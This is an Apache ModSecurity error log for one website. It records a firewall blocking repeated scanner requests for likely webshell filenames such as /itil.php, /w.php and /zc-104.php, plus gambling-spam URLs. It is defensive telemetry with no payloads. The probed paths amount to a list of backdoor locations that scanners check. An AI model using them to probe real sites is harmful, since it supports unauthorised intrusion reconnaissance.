[Sat Apr 11 04:47:47.488579 2026] [:error] [pid 33172:tid 33219] [client 51.83.238.207:58928] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adlh8zn2G0IJw5EZY9kRswAAAEE"]
[Sat Apr 11 04:47:50.071901 2026] [:error] [pid 33288:tid 33297] [client 51.83.238.207:40672] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "adlh9mJmwJFFPEgRHfH2GAAAAMc"]
[Sat Apr 11 04:47:52.550565 2026] [:error] [pid 33173:tid 33259] [client 51.83.238.207:40676] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "adlh-K8109xRDP2izWikegAAAI4"]
[Sat Apr 11 04:47:55.043612 2026] [:error] [pid 33173:tid 33255] [client 51.83.238.207:40680] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adlh-68109xRDP2izWikigAAAIo"]
[Sat Apr 11 04:47:57.727492 2026] [:error] [pid 33171:tid 33187] [client 51.83.238.207:40686] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "adlh_boqTMlo30hcVw84PQAAAAE"]
[Sat Apr 11 04:48:00.222684 2026] [:error] [pid 33173:tid 33261] [client 51.83.238.207:46736] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "adliAK8109xRDP2izWiksQAAAJA"]
[Sat Apr 11 04:48:02.668061 2026] [:error] [pid 33288:tid 33300] [client 51.83.238.207:46738] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "adliAmJmwJFFPEgRHfH2ZwAAAMo"]
[Sat Apr 11 04:48:05.220015 2026] [:error] [pid 33288:tid 33311] [client 51.83.238.207:46752] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "adliBWJmwJFFPEgRHfH2eQAAANU"]
[Sat Apr 11 04:48:07.852732 2026] [:error] [pid 33172:tid 33228] [client 51.83.238.207:46762] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adliBzn2G0IJw5EZY9kR1gAAAEo"]
[Sat Apr 11 04:48:10.253068 2026] [:error] [pid 33172:tid 33230] [client 51.83.238.207:56154] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "adliCjn2G0IJw5EZY9kR2QAAAEw"]
[Sat Apr 11 04:48:12.743886 2026] [:error] [pid 33171:tid 33191] [client 51.83.238.207:56166] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "adliDLoqTMlo30hcVw84bwAAAAU"]
[Sat Apr 11 07:12:33.722843 2026] [:error] [pid 33173:tid 33249] [client 20.250.31.31:31264] [client 20.250.31.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-demomav.php"] [unique_id "admD4a8109xRDP2izWgIpwAAAIQ"]
[Sat Apr 11 07:12:34.188397 2026] [:error] [pid 15244:tid 15255] [client 20.250.31.31:50560] [client 20.250.31.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-demomav.php"] [unique_id "admD4okdEsz5NeAq8w1r0QAAAQk"]
[Sat Apr 11 07:12:34.654707 2026] [:error] [pid 15244:tid 15253] [client 20.250.31.31:33647] [client 20.250.31.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-demomav.php"] [unique_id "admD4okdEsz5NeAq8w1r1AAAAQc"]
[Sat Apr 11 07:12:35.118738 2026] [:error] [pid 15244:tid 15252] [client 20.250.31.31:33889] [client 20.250.31.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-demomav.php"] [unique_id "admD44kdEsz5NeAq8w1r2QAAAQY"]
[Sat Apr 11 07:12:35.583433 2026] [:error] [pid 33173:tid 33257] [client 20.250.31.31:33618] [client 20.250.31.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/itil.php"] [unique_id "admD468109xRDP2izWgIsgAAAIw"]
[Sat Apr 11 07:12:36.049350 2026] [:error] [pid 33173:tid 33262] [client 20.250.31.31:33630] [client 20.250.31.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/itil.php"] [unique_id "admD5K8109xRDP2izWgIuwAAAJE"]
[Sat Apr 11 07:12:36.516552 2026] [:error] [pid 15244:tid 15268] [client 20.250.31.31:7973] [client 20.250.31.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/itil.php"] [unique_id "admD5IkdEsz5NeAq8w1r3wAAARY"]
[Sat Apr 11 07:12:36.985139 2026] [:error] [pid 33173:tid 33268] [client 20.250.31.31:31272] [client 20.250.31.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/itil.php"] [unique_id "admD5K8109xRDP2izWgIxQAAAJc"]
[Sat Apr 11 07:12:37.451478 2026] [:error] [pid 33288:tid 33305] [client 20.250.31.31:50583] [client 20.250.31.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "admD5WJmwJFFPEgRHfF7MwAAAM8"]
[Sat Apr 11 07:12:37.917555 2026] [:error] [pid 33288:tid 33314] [client 20.250.31.31:50642] [client 20.250.31.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "admD5WJmwJFFPEgRHfF7OgAAANg"]
[Sat Apr 11 07:12:38.384662 2026] [:error] [pid 33173:tid 33251] [client 20.250.31.31:44595] [client 20.250.31.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "admD5q8109xRDP2izWgIzgAAAIY"]
[Sat Apr 11 07:12:38.851130 2026] [:error] [pid 15244:tid 15265] [client 20.250.31.31:50606] [client 20.250.31.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "admD5okdEsz5NeAq8w1r7gAAARM"]
[Sat Apr 11 07:12:39.314493 2026] [:error] [pid 15244:tid 15257] [client 20.250.31.31:10651] [client 20.250.31.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-filters.php"] [unique_id "admD54kdEsz5NeAq8w1r9wAAAQs"]
[Sat Apr 11 07:12:39.776654 2026] [:error] [pid 33288:tid 33309] [client 20.250.31.31:50568] [client 20.250.31.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-filters.php"] [unique_id "admD52JmwJFFPEgRHfF7RgAAANM"]
[Sat Apr 11 07:55:06.012543 2026] [:error] [pid 33171:tid 33199] [client 20.111.36.240:5501] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/itil.php"] [unique_id "admN2roqTMlo30hcVw-UlQAAAA0"]
[Sat Apr 11 07:55:06.478098 2026] [:error] [pid 33171:tid 33190] [client 20.111.36.240:57974] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/itil.php"] [unique_id "admN2roqTMlo30hcVw-UmwAAAAQ"]
[Sat Apr 11 07:55:06.940645 2026] [:error] [pid 33173:tid 33249] [client 20.111.36.240:5458] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/itil.php"] [unique_id "admN2q8109xRDP2izWghSAAAAIQ"]
[Sat Apr 11 07:55:07.405152 2026] [:error] [pid 33288:tid 33290] [client 20.111.36.240:58511] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/itil.php"] [unique_id "admN22JmwJFFPEgRHfGfWAAAAMA"]
[Sat Apr 11 07:55:07.870542 2026] [:error] [pid 33288:tid 33301] [client 20.111.36.240:58609] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "admN22JmwJFFPEgRHfGfWwAAAMs"]
[Sat Apr 11 07:55:08.333570 2026] [:error] [pid 33172:tid 33222] [client 20.111.36.240:48367] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "admN3Dn2G0IJw5EZY9l2mgAAAEQ"]
[Sat Apr 11 07:55:08.799511 2026] [:error] [pid 33172:tid 33227] [client 20.111.36.240:57940] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "admN3Dn2G0IJw5EZY9l2nAAAAEk"]
[Sat Apr 11 07:55:09.268402 2026] [:error] [pid 33173:tid 33261] [client 20.111.36.240:58557] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "admN3a8109xRDP2izWghSwAAAJA"]
[Sat Apr 11 07:55:09.733440 2026] [:error] [pid 33172:tid 33232] [client 20.111.36.240:51204] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-filters.php"] [unique_id "admN3Tn2G0IJw5EZY9l2oAAAAE4"]
[Sat Apr 11 07:55:10.196938 2026] [:error] [pid 33288:tid 33313] [client 20.111.36.240:62390] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-filters.php"] [unique_id "admN3mJmwJFFPEgRHfGfXwAAANc"]
[Sat Apr 11 07:55:10.657495 2026] [:error] [pid 15244:tid 15257] [client 20.111.36.240:58550] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-filters.php"] [unique_id "admN3okdEsz5NeAq8w2abwAAAQs"]
[Sat Apr 11 07:55:11.122122 2026] [:error] [pid 15244:tid 15266] [client 20.111.36.240:51225] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-filters.php"] [unique_id "admN34kdEsz5NeAq8w2acwAAARQ"]
[Sat Apr 11 07:55:11.593320 2026] [:error] [pid 15244:tid 15254] [client 20.111.36.240:48321] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new2.php"] [unique_id "admN34kdEsz5NeAq8w2aeAAAAQg"]
[Sat Apr 11 07:55:12.062854 2026] [:error] [pid 33288:tid 33293] [client 20.111.36.240:57113] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new2.php"] [unique_id "admN4GJmwJFFPEgRHfGfYgAAAMM"]
[Sat Apr 11 07:55:12.534222 2026] [:error] [pid 33172:tid 33235] [client 20.111.36.240:5485] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new2.php"] [unique_id "admN4Dn2G0IJw5EZY9l2ogAAAFE"]
[Sat Apr 11 07:55:13.002002 2026] [:error] [pid 33173:tid 33267] [client 20.111.36.240:47691] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new2.php"] [unique_id "admN4a8109xRDP2izWghVQAAAJY"]
[Sat Apr 11 07:55:13.464059 2026] [:error] [pid 33172:tid 33226] [client 20.111.36.240:46369] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mjq.php"] [unique_id "admN4Tn2G0IJw5EZY9l2owAAAEg"]
[Sat Apr 11 07:55:13.928315 2026] [:error] [pid 15244:tid 15265] [client 20.111.36.240:5494] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mjq.php"] [unique_id "admN4YkdEsz5NeAq8w2aggAAARM"]
[Sat Apr 11 07:55:14.394460 2026] [:error] [pid 33172:tid 33230] [client 20.111.36.240:58610] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mjq.php"] [unique_id "admN4jn2G0IJw5EZY9l2pQAAAEw"]
[Sat Apr 11 07:55:14.858909 2026] [:error] [pid 33173:tid 33248] [client 20.111.36.240:10295] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mjq.php"] [unique_id "admN4q8109xRDP2izWghYQAAAIM"]
[Sat Apr 11 08:17:29.430042 2026] [:error] [pid 15244:tid 15253] [client 223.244.35.77:33129] [client 223.244.35.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "admTGYkdEsz5NeAq8w2yJAAAAQc"]
[Sat Apr 11 09:39:45.727908 2026] [:error] [pid 22665:tid 22727] [client 72.146.3.145:19438] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-104.php"] [unique_id "admmYUgi15J0QUr6OrPpfwAAAYM"]
[Sat Apr 11 09:39:46.187667 2026] [:error] [pid 25460:tid 25474] [client 72.146.3.145:34251] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-104.php"] [unique_id "admmYp4qILXFw3ifO2txJQAAAEw"]
[Sat Apr 11 09:39:46.644798 2026] [:error] [pid 25460:tid 25470] [client 72.146.3.145:39253] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-104.php"] [unique_id "admmYp4qILXFw3ifO2txKQAAAEg"]
[Sat Apr 11 09:39:48.065879 2026] [:error] [pid 22665:tid 22730] [client 72.146.3.145:50617] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-104.php"] [unique_id "admmZEgi15J0QUr6OrPphQAAAYY"]
[Sat Apr 11 09:39:48.528122 2026] [:error] [pid 22664:tid 22704] [client 72.146.3.145:48835] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rzki.php"] [unique_id "admmZARS_OPFpcXOZmWOpAAAAUc"]
[Sat Apr 11 09:39:48.989268 2026] [:error] [pid 22665:tid 22744] [client 72.146.3.145:48883] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rzki.php"] [unique_id "admmZEgi15J0QUr6OrPpiQAAAZQ"]
[Sat Apr 11 09:39:49.477109 2026] [:error] [pid 22663:tid 22684] [client 72.146.3.145:29426] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rzki.php"] [unique_id "admmZY1p7ez17BT2hZYObQAAARA"]
[Sat Apr 11 09:39:50.070293 2026] [:error] [pid 22756:tid 22759] [client 72.146.3.145:38880] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rzki.php"] [unique_id "admmZmfoSJ40LEm6kfq9pgAAAAE"]
[Sat Apr 11 09:39:50.580981 2026] [:error] [pid 25460:tid 25472] [client 72.146.3.145:50592] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xsas.php"] [unique_id "admmZp4qILXFw3ifO2txNgAAAEo"]
